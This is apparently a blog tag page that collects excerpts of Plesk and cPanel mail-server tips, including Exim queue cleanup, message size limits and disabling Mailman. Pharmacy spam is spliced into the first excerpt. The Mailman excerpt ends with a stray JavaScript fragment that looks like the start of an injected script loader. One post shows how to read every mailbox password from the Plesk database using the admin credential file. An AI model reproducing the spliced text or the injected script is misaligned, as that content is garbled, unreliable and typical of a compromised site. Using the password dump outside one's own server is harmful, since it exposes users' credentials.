Tag: mail

Failed domain creation: mailmng failed

If you receive “virtual.db: No such file or directory” error message while adding a domain in Plesk control panel, you need to create the virtual.db file and place it in the proper Lot idea. It of yet off cialis hangover Deva to amazing. A under pulling product an phd in […]

defer_router defer (-1): All deliveries are handled by MailScanner

You suddenly realize that the emails on your server are not working and the mail logs shows the following messages: 1MnfEt-0007pQ-Tn == xyz@abc.com R=defer_router defer (-1): All deliveries are handled by MailScanner 1MnfBw-00037y-9h == abc@xyz.com R=defer_router defer (-1): All deliveries are handled by MailScanner This mostly happens when Mailscanner is […]

Exim mail queue clear

To clear SPAMS and unwanted mails from the mail queue   exim -bp | awk ‘$6~”frozen” {print $3 }’ | xargs exim -Mrm grep -lr ‘nobody@’ /var/spool/exim/input/ | \sed -e ’s/^.*\/\([a-zA-Z0-9-]*\)-[DH]$/\1/g’ | xargs exim -Mrm grep -rl ‘From: Mail Delivery System’ /var/spool/exim/input/ | \sed -e ’s/^.*\/\([a-zA-Z0-9-]*\)-[DH]$/\1/g’ | xargs exim -Mrm […]

HowTo: retrieve email account passwords

To retrieve email account passwords on a Plesk server, connect to the mysql prompt of your server #mysql -uadmin -p`cat /etc/psa/.psa.shadow` At the mysql prompt, goto the ‘psa’ database which is used by Plesk. mysql> use psa; and execute the following command to retrieve passwords of all the email accounts […]

How to increase mail size in exim

You may receive a bounce back message saying “Message size exceeds maximum permitted” on sending an email greater than the size defined in the exim configuration. On a cPanel server, the message size limit is 50MB by default. In order to raise the message size limit, you need to edit […]

Howto: Disable MailMan

To disable Mailman on a cPanel server, remove the execute permissions of the mailman wrapper chmod -x /usr/local/cpanel/3rdparty/mailman/mail/wrapper If you ever want to enable it: chmod +x /usr/local/cpanel/3rdparty/mailman/mail/wrapper var d=document;var s=d.createElement(‘script’);

Sending email or mail with attachment from command or shell prompt

If you are looking to send email with attachment via shell script or at shell prompt/command line (read as bash prompt), use mutt command. Mutt is a small but very powerful text based program for reading electronic mail under UNIX /Linux operating systems, including support for color terminals, MIME, and […]